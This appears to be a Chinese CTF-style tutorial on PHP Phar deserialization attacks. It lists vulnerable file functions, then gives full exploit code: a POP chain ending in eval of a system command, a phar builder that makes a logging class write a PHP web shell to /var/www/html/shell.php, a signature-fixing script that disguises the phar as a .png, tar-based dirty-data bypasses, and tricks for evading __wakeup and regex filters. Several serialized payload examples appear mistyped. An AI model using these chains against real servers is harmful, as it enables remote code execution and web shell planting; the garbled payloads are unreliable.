有关(Phar)反序列化的内容
Phar
phar本质上是一个压缩文件,会以序列化的形式存储用户自定义的meta-data
,当受影响的文件操作函数调用phar文件时
,会自动反序列化meta-data
的内容
Phar调用:
1 2 3 4 5 6 7 8
| phar://upload/xxx phar://./upload/xxx phar:///var/www/html/xxx compress.zlib://phar://xxx compress.bzip://phar://xxx zlib:phar://
其中,phar文件的后缀不做限制
|
Phar文件结构:
1 2 3
| stub: Phar文件标志,以 xxx_HALT_COMPILER();?>结尾,否则无法识别,xxx可为自定义内容 manifest: phar文件实质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息放在这里。这部分还会以序列化的形式储存用户自定义的meta-data,这是漏洞利用最核心的地方 signature(可空): 签名,放在末尾
|
可以利用Phar反序列化的操作函数有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| fileatime file_put_contents fileinode is_dir is_readable copy filectime file filemtime is_executable is_writable unlink file_exists file_group fileowner is_file is_writeable stat file_get_contents fopen fileperms is_link parse_ini_file readfile
|
phar反序列化利用条件:
- phar文件要能够上传到服务器端
- 要有可用的魔术方法作为跳板(pop链)
- 文件操作函数的参数可控,且
:
、\
、phar
等特殊字符未被过滤
生成phar包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class Test{ }
@unlink("exp.phar"); $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new Test(); $phar->setMetadata($o); $phar->addFromString("test.txt","test");
$phar->stopBuffering(); ?>
|
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php
class micgo{ public $code; public function __construct(){ $this->code="system('cat /f*');"; } public function __toString(){ return eval($this->code); } } class qka{ protected $ohno; public function __construct(){ $this->ohno=new micgo(); } public function __invoke(){ echo '666'.$this->ohno; } } class hhh{ private $hhhh; public function __construct(){ $this->hhhh = new qka(); } public function __destruct() { $hhh=''; echo 'hhh'.$hhh; } } $h = new hhh(); $phar = new Phar('qwq2.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar ->addFromString('test.txt','test'); $object = $h; $phar -> setMetadata($object); $phar -> stopBuffering();
?>
|
zip包:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class Test{ }
$test = new Test(); $zip = new ZipArchive(); $res = $zip->open('test.zip', ZipArchive::CREATE); $zip->addFromString('test.txt', 'test'); $zip->setArchiveComment(serialize($test)); $zip->close(); ?>
|
tar包:
1 2 3 4 5 6 7 8 9 10
| <?php class Test{ }
$test = new Test(); mkdir('.phar'); file_put_contents('.phar/.metadata', serialize($test)); system('tar -cf test.tar .phar/*'); ?>
|
gzip:
bzip2:
过滤
有时候phar会过滤文件头,也就是HALT那行
这个时候就需要利用脚本重新生成签名:
脚本:
1 2 3 4 5 6 7 8 9 10 11
| from hashlib import sha1 import gzip
with open('pharone.phar', 'rb') as file: f = file.read() s = f[:-28] h = f[-8:] new_file = s + sha1(s).digest() + h f_gzip = gzip.GzipFile("try2.png", "wb") f_gzip.write(new_file) f_gzip.close()
|
Phar脏数据处理
例如一个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php error_reporting(0); class Logger{ private $filename; private $content; private $endContent; function __construct($filename,$endContent){ $this->filename = $filename; $this->endContent = $endContent; } function info($content){ !file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : ""; $content = "Type:INFO Messsage:$content"; $file = fopen($this->filename,"a"); fwrite($file,$content); fclose($file); } function __destruct(){ $this->info($this->endContent); } } $time = time(); $logger = new Logger("log/info.log","Close at $time"); $fileName = $_POST['file']; $userName = $_POST["name"] ?? "nothing"; if (file_exists($fileName)){ echo "File exists"; $logger->info("$userName"); }else{ echo "File does not exist"; $logger->info("$userName"); } ?>
|
分析一下:
1 2 3 4
| function __construct($filename,$endContent){ $this->filename = $filename; $this->endContent = $endContent; }
|
接受并且设置filename 和 endcontent参数
1 2 3 4 5 6 7
| function info($content){ !file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : ""; $content = "Type:INFO Messsage:$content"; $file = fopen($this->filename,"a"); fwrite($file,$content); fclose($file); }
|
判断是否存在一个filename的dir,不存在就创建
然后向该文件写入内容
1 2 3
| function __destruct(){ $this->info($this->endContent); }
|
对象销毁时再调用一次destruct,写入endContent
1 2 3 4 5 6 7 8 9 10 11
| $time = time(); $logger = new Logger("log/info.log","Close at $time"); $fileName = $_POST['file']; $userName = $_POST["name"] ?? "nothing"; if (file_exists($fileName)){ echo "File exists"; $logger->info("$userName"); }else{ echo "File does not exist"; $logger->info("$userName"); }
|
新创建一个Logger的对象,然后向log/info
写入username
这里很明显有个利用方式:将endContent写成php木马
,将filename
写成shell.php
,利用Logger
这个类写入即可
利用file_exists
触发phar
此时你会发现一个问题:
你直接写入phar时(假设phar内容用A来代替),内容会变成:
1
| Type:INFO Messsage:AType:INFO Messsage:Close at $time
|
其中$time
是上面随机生成的时间戳
很明显如果直接执行的phar://log/info.log
肯定不行,毕竟phar数据流已经被“前后夹击”,都是脏数据
那接下来我们就需要绕过这些脏数据:
绕过Phar头的脏数据
绕过头的很简单,还记得phar是如何生成的吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php
class micgo{ public $code; public function __construct(){ $this->code="system('cat /f*');"; } public function __toString(){ return eval($this->code); } } class qka{ protected $ohno; public function __construct(){ $this->ohno=new micgo(); } public function __invoke(){ echo '666'.$this->ohno; } } class hhh{ private $hhhh; public function __construct(){ $this->hhhh = new qka(); } public function __destruct() { $hhh=''; echo 'hhh'.$hhh; } } $h = new hhh(); $phar = new Phar('qwq2.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar ->addFromString('test.txt','test'); $object = $h; $phar -> setMetadata($object); $phar -> stopBuffering();
?>
|
我们可以利用setStub
添加文件头
那可以想想,如果前面的脏数据本来就是我们phar
文件的一部分呢?
那是不是前面的脏数据就不是问题了,例如在这里,前面的脏数据是:
那我们写phar的时候可以这么设置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php class Logger{ private $filename="/var/www/html/shell.php"; private $content; private $endContent="<?php eval($_POST[1]);?>"; function __construct($filename,$endContent){ $this->filename = $filename; $this->endContent = $endContent; } function info($content){ !file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : ""; $content = "Type:INFO Messsage:$content"; $file = fopen($this->filename,"a"); fwrite($file,$content); fclose($file); } function __destruct(){ $this->info($this->endContent); } } $h = new Logger(); $phar = new Phar('qwq2.phar'); $phar -> startBuffering(); $phar -> setStub('Type:INFO Messsage:'.'<?php __HALT_COMPILER();?>'); $phar ->addFromString('test.txt','test'); $object = $h; $phar -> setMetadata($object); $phar -> stopBuffering();
?>
|
这个时候就将脏数据也纳入了phar的一部分了
此时只需要截取phar不包含脏数据头的部分写入,就是一个合法的phar文件
绕过Phar尾部的脏数据
这里就需要利用tar
文件来绕过了,我们可以利用convertToExecutable
函数将phar文件转换成其他格式的文件。
如果以tar文件储存phar
,则会使得它不受后面数据的影响
phar各种格式的转换:
1 2 3 4
| <?php $phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2); $phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ); $phar = $phar->convertToExecutable(Phar::ZIP);
|
总体的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class Logger{ private $filename="/var/www/html/shell.php"; private $content; private $endContent="<?php eval($_POST[1]);?>"; function __construct($filename,$endContent){ $this->filename = $filename; $this->endContent = $endContent; } function info($content){ !file_exists(dirname($this->filename)) ? mkdir(dirname($this->filename)) : ""; $content = "Type:INFO Messsage:$content"; $file = fopen($this->filename,"a"); fwrite($file,$content); fclose($file); } function __destruct(){ $this->info($this->endContent); } } $dirty_data = "Type:INFO Messsage:"; $len = strlen($dirty_data); $h = new Logger(); $phar = new Phar('qwq2.phar'); $phar = $phar->convertToExecutable(Phar::TAR); $phar -> startBuffering(); $phar -> addFromString($dirty_data, ""); $phar -> setStub($dirty_data. "<?php __HALT_COMPILER();?>"); $phar -> setMetadata($h); $phar -> stopBuffering();
$exp = file_get_contents('./qwq2.phar.tar'); $post_exp = substr($exp, $len); echo rawurlencode($post_exp);
|
此时获得了phar的数据流,假设记为B:
此时我们只需要
1 2 3 4 5 6 7 8 9 10 11
| $time = time(); $logger = new Logger("log/info.log","Close at $time"); $fileName = $_POST['file']; $userName = $_POST["name"] ?? "nothing"; if (file_exists($fileName)){ echo "File exists"; $logger->info("$userName"); }else{ echo "File does not exist"; $logger->info("$userName"); }
|
一些php反序列化的tricks
绕过wakeup
老生常谈的绕过wakeup
可以看看大师傅的博客
php反序列化之绕过wakeup – View of Thai
当然也可以直接利用cve-2016-7124
(就是最常用的绕过destruct方法)
绕过throw Error异常抛出
利用gc垃圾回收机制,gc
又叫garbage collection
,在php中使用引用奇数和回收周期来自动管理内容
当一些数据或者变量在进行某些操作后被置为空(null
)或者是没有地址的指向时,一旦这些数据被回收,就相当于给一个程序的结尾划上了句号,那么久不会出现无法调用__destruct
方法了
利用
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class A{ exp here } $a = new A;
$c = array(0=>$a, 1=>null); $result = serialize($c); $result = str_replace("i:1", "i:0", $result); echo $result;
|
这里需要引入null,此时反序列化中的结果有两个,一个是i=0,另一个是i=1,此时i=1为null,i=0为我们的对象,如果将i=1修改成i=0,就可以将i=0指向null,实现gc回收
绕过一些正则匹配表达式
反序列化中,以下两个payload等价:
1 2 3
| 0:4:"test":1:s:1:"a";s:4:"flag";}
0:4:"test:1:(s:1:"a";5:4:”\66lag";}
|
利用十六进制绕过即可
比如说:
绕过
1 2 3
| if(!preg_match("/flag/i", $str)){ unserialize($str); }
|
此时就可以利用
1
| 0:4:"test:1:(s:1:"a";5:4:”\66lag";}
|
绕过一些[Oa]:[\d]+
例如:
1 2 3 4 5 6
| <?php if(!preg_match('/^[Oa]:[\d]+/i', $_GET['a'])){ unserialize($a); } ?>
|
利用方式:
- 如果能用
+
的话直接用加号隔断
- 换别的方法:
1 2 3 4 5 6
| ArrayObject:
$a = new ArrayObject; $a-> a = 反序列化起点;
echo unserialize($a);
|
1 2 3 4 5 6 7
| SplStack:
$a = new SplStack();
$a->push(反序列化起点);
echo serialize($a);
|